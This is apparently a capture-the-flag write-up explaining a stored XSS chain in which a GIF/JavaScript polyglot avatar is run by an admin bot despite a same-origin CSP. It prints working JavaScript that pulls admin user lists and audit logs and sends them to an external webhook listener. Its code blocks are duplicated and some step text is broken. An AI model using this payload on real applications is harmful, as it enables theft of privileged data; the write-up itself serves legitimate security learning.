November 2, 2026
Cross-Site Scripting (XSS) via Malicious GIF Cyshield CTF 2026
In my previous writeup, we explored the first CYSHIELD CTF 2026 challenge, focusing on a 2FA authentication flaw.

By Isv0x1
6 min read
One Login, Two Paths, One Critical Security Flaw — CYSHIELD CTF 2026
Today, we're moving to the next challenge: SRV01 — MasterMind.
Target Overview
AegisCore Response is an incident-response platform designed to help critical facilities monitor systems, track incidents, and manage security-related operations.
During reconnaissance, I identified the avatar-upload feature as a potential entry point. My initial attempt to upload a PHP web shell was rejected because the application only accepted image files.
I also discovered an automated review bot with administrator privileges that regularly visited the incidents dashboard.
This shifted my focus from server-side execution to browser-side exploitation. I investigated whether an uploaded image could be transformed into a JavaScript execution vector within the bot's authenticated session.
I focused on SVG and GIF handling, eventually exploring a GIF/JavaScript polyglot technique.
Background Concepts: SVG vs. GIF
SVG (Scalable Vector Graphics) is an XML-based vector image format. At its simplest, SVG markup describes shapes for the browser to draw — for example, a element with a fill color renders as a solid colored circle.
However, SVG files can contain JavaScript and event handlers such as onload. When rendered directly as a document, the browser may execute this code, making SVG a common XSS attack vector.
GIF: An Animation-Capable Image Format
Unlike SVG, GIF is a binary image format rather than a markup language. It stores one or more image frames along with timing information to create animations.
GIF does not support JavaScript natively, unlike SVG. However, its binary structure can be crafted to also be interpreted as JavaScript. This technique is known as a Polyglot File.
In this challenge, the attack relied on a crafted polyglot file combined with weaknesses in file serving and CSP.
Response Header Analysis: The CSP Obstacle
Earlier, I tested how a normal user could interact with the file-upload feature. Here's what I found:
The application enforced the following Content Security Policy:
Content-Security-Policy: script-src 'self'; object-src 'none'
This policy restricts script loading to the application's own origin and blocks inline JavaScript and external script sources. It also disables plugin-based content through object-src 'none'.
Rather than bypassing the CSP directly, I investigated whether the uploaded avatar could be served from the application's origin and interpreted as JavaScript.
This approach relied on the combination of same-origin script loading and weaknesses in the application's file-handling mechanism.
The Polyglot File Technique
A polyglot file is designed to be interpreted as more than one file format or language.
A classic example of this technique is the jsdot.gif proof of concept.
The underlying idea relies on the different ways image decoders and JavaScript engines interpret the same byte sequence.
In JavaScript, GIF89a can be interpreted as an identifier. The following /* starts a block comment, allowing the intervening binary data to be ignored by the JavaScript parser until the closing */ is encountered.
The remaining content can then be parsed as JavaScript, provided the resulting syntax is valid in the target execution context.
However, a valid GIF signature alone does not guarantee that the entire file is a valid image. In this challenge, the application accepted and stored the crafted file without server-side re-encoding.
File Serving and MIME-Type Handling
Inspecting the stored avatar revealed two important response characteristics:
- The server returned
Content-Type: application/octet-stream. - The response did not include
X-Content-Type-Options: nosniff.
These findings indicated that the application was not enforcing a strict image-specific response policy for uploaded files.
Combined with the same-origin script allowance in the CSP, this raised the possibility of loading the uploaded resource through a script reference.
However, the absence of nosniff alone does not guarantee JavaScript execution. The actual result depends on the browser's script MIME-type handling and the response headers.
In the target environment, I verified the behavior by loading the stored resource through a script reference and confirming JavaScript execution.
Building the Weaponized Payload
The payload was embedded in a GIF89a-signed polyglot and submitted through the avatar upload functionality as a Base64-encoded Data URI.
GIF89a/*
…binary GIF image bytes (ignored as a JS comment)…
*/=1;
var W = 'https://webhook.site/<REDACTED-LISTENER-ID>';
function E(u, d) {
fetch(u + '?d=' + encodeURIComponent(d.slice(0, 4000)), { mode: 'no-cors' });
}GIF89a/*
…binary GIF image bytes (ignored as a JS comment)…
*/=1;
var W = 'https://webhook.site/<REDACTED-LISTENER-ID>';
function E(u, d) {
fetch(u + '?d=' + encodeURIComponent(d.slice(0, 4000)), { mode: 'no-cors' });
}The exfiltration primitive: E(url, data) forwards up to 4000 characters of response data to the attacker's webhook using a simple, credential-less fetch.
The data-harvesting chain
Once the comment trick disposes of the binary GIF data, the script goes on to pull three authenticated, admin-scoped API responses and forward each one to the webhook in turn:
fetch('/api/me', { credentials: 'include' })
.then(r => r.text())
.then(t => {
E(W + '/me', t);
return fetch('/api/admin/users', { credentials: 'include' })
.then(r => r.text());
})
.then(t => E(W + '/users', t));
fetch('/api/admin/audit?limit=100', { credentials: 'include' })
.then(r => r.text())
.then(t => E(W + '/audit', t));fetch('/api/me', { credentials: 'include' })
.then(r => r.text())
.then(t => {
E(W + '/me', t);
return fetch('/api/admin/users', { credentials: 'include' })
.then(r => r.text());
})
.then(t => E(W + '/users', t));
fetch('/api/admin/audit?limit=100', { credentials: 'include' })
.then(r => r.text())
.then(t => E(W + '/audit', t));Data targeted : /api/me
Current authenticated account info (whoever's session the script runs in)
/api/admin/users
Full user/account listing — only reachable with admin privileges
/api/admin/audit?limit=100
The 100 most recent administrative audit-log entries
The requests used credentials: 'include' to leverage
the browser's existing authenticated session.
Since the script executed on the application's origin, the API requests were same-origin and did not require CORS permission.
The returned data was forwarded to an external listener
using a cross-origin fetch request with mode: 'no-cors'.
This allowed sending the request without reading its response.
The attack therefore abused the administrator's authenticated browser context rather than directly extracting session cookies.
Step 1 — Upload the polyglot GIF as the account avatar
The Base64-encoded polyglot payload was submitted through the normal "Profile Image" upload control. The intercepted request shows the full data:image/gif;base64,… payload being submitted as the avatar field, and the server's 200 OK / "Profile updated." response confirms it was accepted without rejection or re-encoding.
Step 2 — Recover the stored file's same-origin URL
Querying the authenticated /api/me endpoint confirms the account's stored avatar path under /uploads/avatars/, which is required to build a same-origin <picture> <source media="(max-width: 768px)" srcset="/img/medium/700/1*jnvr47W7yJB7vWRQaBRvDA.png 1x"> <source media="(min-width: 769px)" srcset="/img/medium/2000/1*jnvr47W7yJB7vWRQaBRvDA.png 1x"> <img src="/img/medium/700/1*jnvr47W7yJB7vWRQaBRvDA.png" alt="None" width="867" height="422" loading="lazy" data-zoom-src="/img/medium/4000/1*jnvr47W7yJB7vWRQaBRvDA.png" class="prose-image"/> </picture>
Step 3 — Inject the stored HTML payload via Incident Escalation
The incident-escalation endpoint, POST /api/incidents/{id}/escalate
admin-review bot visits. This is a separate, independent Stored HTML Injection flaw, and it is the delivery mechanism that turns the polyglot avatar from a stored file into an executed script.
Step 4 — The Admin Bot Triggers the Payload
Once escalated, the incident appears on the dashboard visited by the admin review bot. When the bot loads the injected <script> tag, it fetches the polyglot GIF from the application's own origin and executes it within its authenticated admin session.
The payload then accesses /api/me, /api/admin/users, and /api/admin/audit using the bot's session, forwarding the responses to the attacker's webhook.
This callback confirmed successful exploitation: Site Admin data from privileged APIs reached an external endpoint, proving that the Stored XSS executed within the administrator's authenticated session.
Vulnerability Summary
- Primary Vulnerability: Stored XSS through GIF/JavaScript Polyglot execution.
- Chained Weakness: Stored HTML Injection in Incident Escalation.
- Supporting Weaknesses: Insecure file handling and insufficient output encoding.
- CWE: CWE-79, CWE-434 (if supported by the upload-validation evidence), CWE-116.
- OWASP: A03:2021 — Injection.
- Competition: CYSHIELD CTF 2026.
- Challenge: SRV01 — MasterMind.
Read More
- Inject, Exploit, Repeat: Real-World Adventures in XSS | by Isv0x1 | Medium
- Breaking File Upload Security: Finding Hidden XSS | by Isv0x1 | Medium
Follow Me in : www.linkedin.com/in/islam-salem-5a13a032b
اللهم انصر اخواننا في غزة